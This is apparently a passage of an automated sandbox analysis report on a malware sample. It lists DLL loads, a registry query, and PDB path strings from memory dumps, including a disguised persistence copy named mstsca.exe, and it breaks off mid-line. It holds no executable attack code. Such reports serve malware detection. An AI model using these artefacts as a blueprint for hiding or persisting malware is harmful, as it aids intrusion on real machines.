Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: AaIo4VGgvO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\d8bbwe\ source: AaIo4VGgvO.exe, 00000004.00000003.2213551440.000000000368C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s Q source: AaIo4VGgvO.exe, 00000004.00000003.2090014411.0000000003134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2138048303.0000000003433000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: AaIo4VGgvO.exe, 00000004.00000003.2090014411.0000000003123000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2146063080.000000000366D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2203358546.0000000003845000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.0000000003845000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\i\ source: AaIo4VGgvO.exe, 00000004.00000003.2144138093.0000000003419000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2156757540.000000000347F000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2144841046.0000000003463000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2145806123.000000000347E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2213925776.00000000033E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Z source: AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\p source: AaIo4VGgvO.exe, 00000004.00000003.2180598083.00000000036EC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2183210563.0000000003705000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165024290.00000000036AD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182438639.00000000036ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2187328951.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197213613.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197924531.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198348821.00000000037A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\& source: AaIo4VGgvO.exe, 00000004.00000003.1865432728.0000000003196000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2213071160.00000000037CA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209294827.0000000003476000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2089852321.0000000003187000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114895602.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114580956.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116312815.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116383631.000000000318B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088573099.0000000003170000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\s\* source: AaIo4VGgvO.exe, 00000004.00000003.2136424748.0000000003334000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136761292.000000000336A000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136156466.00000000032F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb975188232.txt/ source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\; source: AaIo4VGgvO.exe, 00000004.00000003.2205165799.0000000003476000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgjs source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgjsM source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1729414853.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1725816575.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1727737398.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2213551440.000000000368C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbg source: AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 00000009.00000002.1853790113.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000009.00000000.1743285569.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000E.00000000.1852789120.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000011.00000000.1861897358.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000011.00000002.1943724924.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.1942013054.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2325242683.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2400652471.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2399918134.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2916135205.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.3012410654.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.3011582267.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3632762801.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3515414629.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3631999278.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\U source: AaIo4VGgvO.exe, 00000004.00000003.2197665887.00000000037E5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2204304011.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: AaIo4VGgvO.exe, 00000004.00000003.2138181494.00000000032A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\2 source: AaIo4VGgvO.exe, 00000004.00000003.2088092006.00000000032E2000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088822719.00000000032F6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088776965.00000000032EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\45\ source: AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\emp\( source: AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ry\sI) source: AaIo4VGgvO.exe, 00000004.00000003.2137946513.00000000032C7000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114361589.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116544720.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115675931.00000000032BF000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137579843.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115372171.00000000032B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbw source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\che\ source: AaIo4VGgvO.exe, 00000004.00000003.2157503613.00000000032F5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2164897369.00000000032F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\n source: AaIo4VGgvO.exe, 00000004.00000003.2213313921.0000000003812000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216430184.0000000003833000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: AaIo4VGgvO.exe, 00000004.00000003.2192077434.0000000003340000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2187053912.0000000003302000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191252603.0000000003340000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2197523305.00000000036BC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2188411803.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189794393.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190339728.00000000036B5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: AaIo4VGgvO.exe, 00000004.00000003.2197523305.000000000369C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198664348.000000000369C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error\* source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2114361589.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1833020898.00000000032A7000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116619441.00000000032DF000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088708695.00000000032C5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088140446.00000000032AE000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115585911.00000000032D3000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115372171.00000000032B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ Dat source: AaIo4VGgvO.exe, 00000004.00000003.2155785156.0000000003152000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165688622.0000000003157000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\3d8bbwe\p source: AaIo4VGgvO.exe, 00000004.00000003.2213742071.0000000003309000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216237857.0000000003309000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2221891243.0000000003309000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\"v source: AaIo4VGgvO.exe, 00000004.00000003.2138048303.0000000003433000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138701335.0000000003443000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2197213613.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197924531.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198348821.00000000037A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2089852321.0000000003187000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1865432728.0000000003196000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088573099.0000000003170000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2190414371.00000000036C5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2188411803.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2180100262.0000000003401000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189794393.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190339728.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2180974231.000000000368D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 